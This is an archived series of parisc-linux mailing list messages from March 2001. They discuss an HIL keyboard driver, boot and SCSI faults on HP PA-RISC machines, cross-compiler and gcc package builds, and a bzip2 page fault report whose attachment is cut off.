If anyone knows what is means, please file it with the bug tracking system
unless it is solved already.

/Mattias Wadenstein





From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TODO-list entry of "HIL keyboard driver needs updating"
Date: Mon, 5 Mar 2001 00:20:41 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0103050014290.32438-100000@mojo.calyx.net>
References: <00121503462102.00304@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619929 16584 80.91.229.3 (22 Nov 2014 01:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, <maswan@acc.umu.se>
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  4 22:21:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (unknown [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 67CC84A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Mar 2001 22:21:09 -0700 (MST)
Original-Received: (qmail 13234 invoked from network); 5 Mar 2001 00:20:42 -0500
Original-Received: from mojo.calyx.net (HELO mojo) (c1wf90bn4fdmvnodo5on@208.132.136.2)
  by mail.calyx.net with SMTP; 5 Mar 2001 00:20:42 -0500
In-Reply-To: <00121503462102.00304@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:10449

Hmmm... Brian might refer to me, but I do not know who Alex is.
The only other person who showed interest in the driver was
Helge Deller.  We do NOT have access to the HIL specs, and
the driver I would like to write will need more detail than that
gleaned from the BSD/linux/mklinux source code.  But, if the
below refers to another two people who DO have access to the
docs, then it would be nice if they would tell me what needs
to be done to get me access to them.

--
Brian S. Julin

On Fri, 15 Dec 2000, Helge Deller wrote:

> Hi Brian,
>
> I plan to remove the current HIL-keyboard-support from the kernel and would
> like to use your new linux-input-style driver instead.
> I've just checked and linux-input is now in our tree, so this would be a
> good time to add your code.
>
> The remaining question is currently, how much time you have had so far for
> this driver and if/when this code could be added to CVS ? If you need a
> helping hand please don't hesitate to ask me,
>
> Greetings,
>
> 	Helge Deller
>
> On Wednesday 01 November 2000 08:48, you wrote:
> > Probably best not to worry about cleaning keyboard drivers up too much.
> > The current USB code will be followed by linux-input style drivers at
> > some point.  In fact I started a HIL linux-input style driver, which
> > would abstract the PS2 port/HIL ports and allow a standard keyboard module
> > to be hooked into the abstracted serio port.  I will work on it more when
> > time permits.
> >
> > --
> > Brian S. Julin
>








From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs updating"
Date: Sun, 04 Mar 2001 23:07:33 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200103050707.XAA02142@milano.cup.hp.com>
References: <Pine.BSO.4.33.0103050014290.32438-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619929 16585 80.91.229.3 (22 Nov 2014 01:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, Helge Deller <deller@gmx.de>
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 00:04:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF6EE4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 00:04:21 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 2DAB9210; Sun,  4 Mar 2001 23:04:21 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA02142;
	Sun, 4 Mar 2001 23:07:34 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 05 Mar 2001 00:20:41 PST."
             <Pine.BSO.4.33.0103050014290.32438-100000@mojo.calyx.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10450

"Brian S. Julin" wrote:
> We do NOT have access to the HIL specs, and the driver I would like
> to write will need more detail than that gleaned from the 
> BSD/linux/mklinux source code.

If you have specific questions, I (or other HP employees) can try to
find you the answer(s). Since we had a working HIL driver, releasing
the HP docs for it was pretty low on the list.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno IGLESIAS <iglesiab@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems on 715/50
Date: Mon, 05 Mar 2001 10:38:30 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010305093830.B3C9BD1588@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619929 16590 80.91.229.3 (22 Nov 2014 01:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 02:38:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 755F181EE
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 02:38:32 -0700 (MST)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id B3C9BD1588
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 10:38:30 +0100 (CET)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:10451

Hi !                                                                  
                                                                      
  I'm working on a 715/50 with the ESIEE TEAM. /proc/cpuinfo reports  
0.50 Bogomips instead of the 50 reported during the boot of the kernel
of the 1st March . More over, the kernel is booting well with the     
nfsroot of the puffin but don't execute INIT with ESIEE root          
Filesystem ( freezing after mounting Root partition) .Replacing Init  
by /bin/sh didn't change anything. If anyone could explain these      
differences ??                                                        
                                                                      
I'm currently porting the SETI@home client for PaLinux :o)            
                                                                      
   Bye Bruno                                                          




From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs 
 updating"
Date: Mon, 05 Mar 2001 11:51:22 -0500
Organization: The Puffins at Linuxcare
Lines: 27
Approved: news@gmane.org
Message-ID: <3AA3C40A.C3D320FC@linuxcare.com>
References: <Pine.BSO.4.33.0103050014290.32438-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619929 16592 80.91.229.3 (22 Nov 2014 01:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Helge Deller <deller@gmx.de>, maswan@acc.umu.se
To: "Brian S. Julin" <bri@mojo.calyx.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 09:41:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.linuxcare.com (unknown [216.88.157.131])
	by dsl2.external.hp.com (Postfix) with SMTP id A8410662A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 09:41:53 -0700 (MST)
Original-Received: (qmail 20632 invoked from network); 5 Mar 2001 16:41:57 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 5 Mar 2001 16:41:57 -0000
Original-Sender: adevries@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10452

"Brian S. Julin" wrote:
> 
> Hmmm... Brian might refer to me, but I do not know who Alex is.
> The only other person who showed interest in the driver was
> Helge Deller.  We do NOT have access to the HIL specs, and
> the driver I would like to write will need more detail than that
> gleaned from the BSD/linux/mklinux source code.  But, if the
> below refers to another two people who DO have access to the
> docs, then it would be nice if they would tell me what needs
> to be done to get me access to them.

I'm Alex.

The reason that I think I have HIL specs is because it's mentioned in
the WAX documentation I have under NDA.  I can't send out copies of it,
but I can give information necessary for writing code.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Putting open source to work.




From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs 
 updating"
Date: Mon, 5 Mar 2001 12:26:46 -0500 (EST)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0103051156260.16598-100000@mojo.calyx.net>
References: <3AA3C40A.C3D320FC@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619930 16594 80.91.229.3 (22 Nov 2014 01:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:10 +0000 (UTC)
Cc: <grundler@cup.hp.com>, <parisc-linux@lists.parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: Alex deVries <alex@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 10:26:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (unknown [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id E0B5B6629
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 10:26:48 -0700 (MST)
Original-Received: (qmail 26242 invoked from network); 5 Mar 2001 12:26:46 -0500
Original-Received: from mojo.calyx.net (HELO mojo) (o07xx0el5bbzkmrc304h@208.132.136.2)
  by mail.calyx.net with SMTP; 5 Mar 2001 12:26:46 -0500
In-Reply-To: <3AA3C40A.C3D320FC@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10453

The main sticking point I have with the HIL hardware which
has an effect on the way I write the linux-input driver,
concerns whether or not there is a safe way for me to
leave the auto-polling enabled always, or whether it will have
to be turned off when a hil packet starts, and the driver
must go register a timer task to go poll the chip until
the packet is over.  It centers around a comment in the
BSD driver:

/*
 * Send a command to a device on the loop.
 * Since only one command can be active on the loop at any time,
 * we must ensure that we are not interrupted during this process.
 * Hence we mask interrupts to prevent potential access from most
 * interrupt routines and turn off auto-polling to disable the
 * internally generated poll commands.
 */

Amazingly, all the drivers I find seem to be happy to
tie up the CPU and busy wait on the HIL bus in some
places, which is "just not good"(tm).

Basically I need to know if there really is the chance
that during a packet send operation I will be interrupted
by an internally generated poll command, or if they were
just being paranoid.

BTW, writing drivers with nothing but other people's source
code to look at really is not my favorite activity.  I am always
left with the impression that there could be a hardware feature
that the other authors ignored that would make the code better
or simpler.  I am guessing that HP has managed to put
mountains of paperwork in the way of getting hardware docs,
and that my saying this won't help, but I am willing to sign
an NDA for the HIL docs.

Thanks,

P.S. I haven't been keeping tabs on things lately -- do we now have
loadable kernel modules and modutils working well?  Is the
kernel timer support up to par?  How in sync are the .debs
with the bi-monthly trashing of libc compatibility?

--
Brian S. Julin








From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs updating"
Date: Mon, 5 Mar 2001 11:27:36 -0700 (MST)
Lines: 70
Approved: news@gmane.org
Message-ID: <200103051827.LAA04397@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619930 16597 80.91.229.3 (22 Nov 2014 01:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:10 +0000 (UTC)
Cc: deller@gmx.de, grundler@cup.hp.com,
	parisc-linux@lists.parisc-linux.org
To: alex@linuxcare.com, bri@mojo.calyx.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 11:30:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fast.cs.utah.edu (fast.cs.utah.edu [155.99.212.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67F884A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 11:30:46 -0700 (MST)
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id LAA04397;
	Mon, 5 Mar 2001 11:27:36 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10454

> Date: Mon, 5 Mar 2001 12:26:46 -0500 (EST)
> From: "Brian S. Julin" <bri@mojo.calyx.net>
> To: Alex deVries <alex@linuxcare.com>
> Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs updating"
> 
> 
> The main sticking point I have with the HIL hardware which
> has an effect on the way I write the linux-input driver,
> concerns whether or not there is a safe way for me to
> leave the auto-polling enabled always, or whether it will have
> to be turned off when a hil packet starts, and the driver
> must go register a timer task to go poll the chip until
> the packet is over.  It centers around a comment in the
> BSD driver:
> 
> /*
>  * Send a command to a device on the loop.
>  * Since only one command can be active on the loop at any time,
>  * we must ensure that we are not interrupted during this process.
>  * Hence we mask interrupts to prevent potential access from most
>  * interrupt routines and turn off auto-polling to disable the
>  * internally generated poll commands.
>  */
> 
> Amazingly, all the drivers I find seem to be happy to
> tie up the CPU and busy wait on the HIL bus in some
> places, which is "just not good"(tm).
> 

The doc clearly states that auto-polling must be disabled or you must be
certain that the timing of your data transfer does not interfere with the
polling.  The recommended way was to disable auto polling.

As for disabling interrupts, its been a long time and I'm not sure what the
hell we meant by "Hence we mask interrupts to prevent potential access
from most interrupt routines".  You may want to disable interrupts to get
on and off the loop as quick as possible to avoid dropping input chars.

> Basically I need to know if there really is the chance
> that during a packet send operation I will be interrupted
> by an internally generated poll command, or if they were
> just being paranoid.
> 

Just following directions! :-)  Don't think we ever tried it without
disabling auto polling, so I don't know what the consequences of
interfering with a poll would be, probably not good.

> BTW, writing drivers with nothing but other people's source
> code to look at really is not my favorite activity.  I am always
> left with the impression that there could be a hardware feature
> that the other authors ignored that would make the code better
> or simpler.  I am guessing that HP has managed to put
> mountains of paperwork in the way of getting hardware docs,
> and that my saying this won't help, but I am willing to sign
> an NDA for the HIL docs.
> 

Understandable.  Yes, we went for simple and straight-forward when writing
the drivers and didn't always exploit "special features" of the hardware.
My experience with such special HW features is that they make drivers more
complicated with little added benefit.

Anyway, I have been using the BSD HIL driver daily for 14 years or so now,
and haven't had any significant problems.

Mike




From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx driver with 64-bit kernel on C200.
Date: Mon, 5 Mar 2001 20:34:04 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20010305203404.K6030@linuxcare.com>
References: <3AA1BA3F.A7C79E31@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619930 16601 80.91.229.3 (22 Nov 2014 01:32:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 13:33:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B4814A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Mar 2001 13:33:45 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A71F7B007; Mon,  5 Mar 2001 20:34:04 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AA1BA3F.A7C79E31@uswest.net>; from rbradetich@uswest.net on Sat, Mar 03, 2001 at 08:45:03PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10455

On Sat, Mar 03, 2001 at 08:45:03PM -0700, Ryan Bradetich wrote:
>  OUTL (nc_dsp, pc);         <-- This line of code causes the HPMC

That line triggers the 53c8xx to start fetching and
executing scripts from memory.

> The sim700 HPMC is caused by the following line of code in the
> sim700_init_host function.
> 
> #if 1
>     NCR_write32(DSP_REG, TARGDATA(HOST_ID)->ba->script+Ent_test1/4+3);
> <-- This line of code causes the HPMC

That line triggers the 53c7xx to start fetching and
executing scripts from memory.


Richard





From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New XC available was Re: [parisc-linux] 64-bit compiler millicode 
 update
Date: Mon, 05 Mar 2001 17:41:55 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20010306004155.3A22137CB2@carmen.fc.hp.com>
References: <E14YdVL-0000NE-00@noam.fc.hp.com> <bame@fc.hp.com> 
 <20010302012631.C62DB37CB2@carmen.fc.hp.com>  <20010302201008.G24088@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619931 16604 80.91.229.3 (22 Nov 2014 01:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  5 17:39:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 098D74A19
	for <parisc-linux@parisc-linux.org>; Mon,  5 Mar 2001 17:39:23 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 79A0719C; Mon,  5 Mar 2001 19:39:22 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 3A22137CB2; Mon,  5 Mar 2001 17:41:55 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <matthew@wil.cx> 
   of "Fri, 02 Mar 2001 20:10:08 GMT." <20010302201008.G24088@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10456

Matthew Wilcox writes...

> On Thu, Mar 01, 2001 at 06:26:31PM -0700, Matt Taggart wrote:
> > The full xc with this change and also the recent glibc changes is now 
> > available at,
> > 
> > ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010301.tar.g
> z
> 
> There's something wrong with the compiler:
> 
> /opt/palinux/lib/gcc-lib/hppa-linux/2.97/tradcpp0: /lib/libc.so.6:
> 	version `GLIBC_2.2' not found (required by
> 	/opt/palinux/lib/gcc-lib/hppa-linux/2.97/tradcpp0)
> 
> we're trying to track it down.  in the meantime, use your current toolchain
> and the libgcc.a from /opt/palinux/lib/gcc-lib/hppa64-linux/2.97/

OK, the problem was that I built the xc on a system running Debian unstable 
which has glibc 2.2.2. So the xc didn't work on systems with an older glibc. 
I'd always gotten away with it up until now. So from now on I will build all 
xc's on a system no newer than the Debian stable release (currently potato, 
glibc 2.1.3).

I have placed a new xc at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010305.tar.gz

This xc includes Alan Modra's recent merge to upstream 20010204.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New native gcc debs
Date: Tue, 06 Mar 2001 01:50:14 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20010306085014.D58AB38BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619931 16605 80.91.229.3 (22 Nov 2014 01:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:11 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 01:47:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id C943D81EA
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 01:47:57 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 0E3791701
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 03:47:42 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D58AB38BD7; Tue,  6 Mar 2001 01:50:14 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10457

I have built new hppa native gcc debs based on March 5th pehc cvs and placed 
them at,

ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

They are,

gcc-2.97-base_2.97-010203_all.deb
cpp-2.97_2.97-010203_hppa.deb
protoize_2.97-010203_hppa.deb
fixincludes_2.97-010203_hppa.deb
libobjc1_2.97-010203_hppa.deb
g++-2.97_2.97-010203_hppa.deb
libstdc++2.97_2.97-010203_hppa.deb
libstdc++2.97-dev_2.97-010203_hppa.deb
g77-2.97_2.97-010203_hppa.deb
libgcc297_2.97-010203_hppa.deb
gcc-2.97_2.97-010203_hppa.deb
cpp-2.97-doc_2.97-010203_all.deb
g77-2.97-doc_2.97-010203_all.deb
gcc-2.97-doc_2.97-010203_all.deb
gobjc-2.97_2.97-010203_hppa.deb
libstdc++2.97-dbg_2.97-010203_hppa.deb
libstdc++2.97-doc_2.97-010203_all.deb

After installing you'll need to,

- Remove the gcc package since it doesn't conflict on its own
   `dpkg -r gcc`
- Setup symlinks for gcc and cc
   `cd /usr/bin;ln -s gcc-2.97 gcc;ln -s gcc-2.97 cc`

I will fix both of these problems later. I have noticed that quite a few 
packages in Debian that use c++ don't seem to be 2.97(v3) clean yet. So far I 
can't build apt, jade, and ncurses.  I have been able to build quite a few 
other things though and I have placed the debs in the above directory.

Please report any problems you have.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bzip2 causes page fault
Date: Tue, 06 Mar 2001 02:00:48 -0700
Lines: 1818
Approved: news@gmane.org
Message-ID: <20010306090048.53CB038BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-11766026340"
X-Trace: ger.gmane.org 1416619931 16607 80.91.229.3 (22 Nov 2014 01:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:11 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 01:58:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5030081E9
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 01:58:16 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 5B49D503
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 03:58:15 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 53CB038BD7; Tue,  6 Mar 2001 02:00:48 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10458

This is a multipart MIME message.

--==_Exmh_-11766026340
Content-Type: text/plain; charset=us-ascii

Hi,

I am attempting to build the bzip2 debian package I ran into a problem. The 
build creates the bzip2 executable and library and attempts to do some 
compression/decompression as a test. When it does I get the following page 
fault,

-----------------------------------------------------------------------------
do_page_fault() pid=24320 command='bzip2' type=15 address=0x00000006

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001111
r0-3     00000000 4001babc 40003807 00000002
r4-7     4001a380 00087670 00087450 00000001
r8-11    faf00398 faf0038c 00000002 4001baf0
r12-15   4001bad0 00000000 000874b0 00000000
r16-19   00000000 00000001 00000000 4001a380
r20-23   4001a33e 00005a4c 400037d0 00000000
r24-27   faf00398 00000001 4001baf0 00076808
r28-31   4001b19e 00000037 faf00680 4002b1d7
sr0-3    0000077f 0000077f 00000000 0000077f
sr4-7    0000077f 0000077f 0000077f 0000077f

IASQ: 0000077f 0000077f IAOQ: 40003803 4000fddb
 IIR: 0c681098    ISR: 0000077f  IOR: 00000006
ORIG_R28: faf00001
-----------------------------------------------------------------------------

I have attached a tar.gz of the bzip2, libbz2.so.1.0, and a Makefile that 
repeats the problem, just unpack and run make on a hppa-linux system. If you 
want to rebuild(and repeat the actual problem) all you need to do is,

apt-get source bzip2
cd bzip2-1.0.1
dpkg-buildpackage

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation


--==_Exmh_-11766026340
Content-Type: application/x-gzip ; name="bzip2.tar.gz"
Content-Description: bzip2.tar.gz
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bzip2.tar.gz"

